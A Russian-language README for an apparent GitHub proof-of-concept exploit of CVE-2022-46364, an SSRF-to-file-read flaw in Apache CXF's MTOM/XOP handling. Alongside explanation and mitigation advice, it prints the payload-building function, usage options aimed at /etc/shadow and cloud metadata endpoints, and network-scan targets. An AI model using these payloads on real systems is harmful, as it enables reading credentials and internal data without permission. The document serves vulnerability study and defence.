
Эта уязвимость позволяет злоумышленнику выполнять атаки типа SSRF (Server-Side Request Forgery) на веб-сервисы Apache CXF, которые принимают запросы MTOM/XOP. Проблема заключается в том, как анализируется атрибут href элемента xop:Include, что позволяет серверу запрашивать произвольные URL.
ЭТОТ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНОГО И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ
Этот эксплойт (proof-of-concept) предоставлен в образовательных целях, чтобы помочь специалистам по безопасности понять уязвимость и защитить свои системы. Несанкционированный доступ к компьютерным системам незаконен. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом. Вы должны получить явное письменное разрешение от владельца системы перед тестированием. Используя этот инструмент, вы соглашаетесь соблюдать все применимые законы.
| Атрибут | Значение |
|---|
| CVE ID | CVE-2022-46364 |
| GHSA ID | GHSA-x3x3-qwjq-8gj4 |
| Тип уязвимости | Подделка запросов на стороне сервера (SSRF) → Локальное включение файлов (LFI) |
| Затронутое ПО | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| Серьёзность | Критическая |
| Оценка CVSS | 9.8 (критическая) |
| Вектор атаки | Сеть |
| Аутентификация | Не требуется |
| Версии с исправлением | Apache CXF 3.5.5+, 3.4.10+ |
Этот эксплойт использует критическую уязвимость SSRF в реализации MTOM (Message Transmission Optimization Mechanism) в Apache CXF для достижения локального включения файлов (LFI) и возможности сканирования внутренней сети.
Apache CXF некорректно проверяет атрибут href внутри элементов xop:Include при обработке MTOM-кодированных SOAP-сообщений. Библиотека использует URLConnection из Java для разыменования URI без надлежащих ограничений протоколов, что позволяет атакующим указывать:
file:// — чтение локальных файлов (LFI)http:// / https:// — запросы во внутреннюю сеть (SSRF)ftp:// — FTP-запросы (потенциальная возможность дальнейшей эксплуатации)Эта уязвимость особенно опасна, потому что:
Любое развертывание Apache CXF, которое:
MTOM (Message Transmission Optimization Mechanism) — это стандарт W3C для оптимизации передачи двоичных данных в SOAP-сообщениях. Он использует XOP (XML-binary Optimized Packaging) для включения ссылок на двоичные данные:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
Обычно href содержит ссылку CID (Content-ID) на часть MIME. Однако класс AttachmentUtil в Apache CXF обрабатывает значения href как универсальные URI без надлежащей санитизации.
Разбор запроса:
Content-Type: application/xop+xmlAttachmentUtil.getAttachmentObject() обрабатывает элементы xop:IncludeРазыменование URI:
new URL(href).openStream()file://Встраивание в ответ:
// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // No protocol validation!
return new DataHandler(url.openStream());
}
Протокол file:// следует тому же пути выполнения кода:
file:///etc/passwd → Java открывает /etc/passwd как файловый потокПеребирая IP-адреса и порты, атакующие могут:
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only
options:
-h, --help Show this help message and exit
-t TARGET, --target TARGET
Target base URL (e.g., http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Web service endpoint path (default: /services/Service)
-u URL, --url URL External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)
| Аргумент | Описание | Пример |
|---|---|---|
-t, --target | Обязательный. Базовый URL целевого сервиса Apache CXF | http://10.10.10.50:8080 |
-e, --endpoint | Необязательный. Путь к SOAP-эндпоинту | /services/UserManagement |
-u, --url | HTTP/HTTPS URL для загрузки через SSRF | http://169.254.169.254/latest/user-data |
-f, --file | Путь к локальному файлу для чтения через LFI | /etc/shadow, C:\ProgramData\secret.txt |
# Python 3.6 or higher required
python --version
# Clone the repository
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### requirements
requests>=2.28.0 urllib3>=1.26.0
---
### Ключевые детали реализации
#### 1. Создание MTOM-полезной нагрузки
```python
def create_mtom_payload(uri):
"""Create a multipart/related MTOM message with xop:Include"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part
Обновитесь до исправленной версии:
<!-- For Maven projects -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.5.5</version> <!-- or 3.4.10 for legacy -->
</dependency>
Полностью отключите MTOM (если он не требуется):
<jaxws:endpoint ...>
<jaxws:properties>
<entry key="mtom-enabled" value="false"/>
</jaxws:properties>
</jaxws:endpoint>
Контроль на уровне сети:
Правила межсетевого экрана для веб-приложений (WAF):
xop:Include с href, указывающим на file:// или внутренние IP-адресаЭта уязвимость была обнаружена и ответственно раскрыта:
Этот инструмент предоставлен только в образовательных целях. Несанкционированное использование запрещено.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Последнее обновление: март 2026
Версия: 1.0
Контакт: По вопросам безопасности или другим вопросам, пожалуйста, создайте issue на GitHub.
Этот документ является частью ответственного исследования безопасности. Всегда получайте надлежащее разрешение перед тестированием.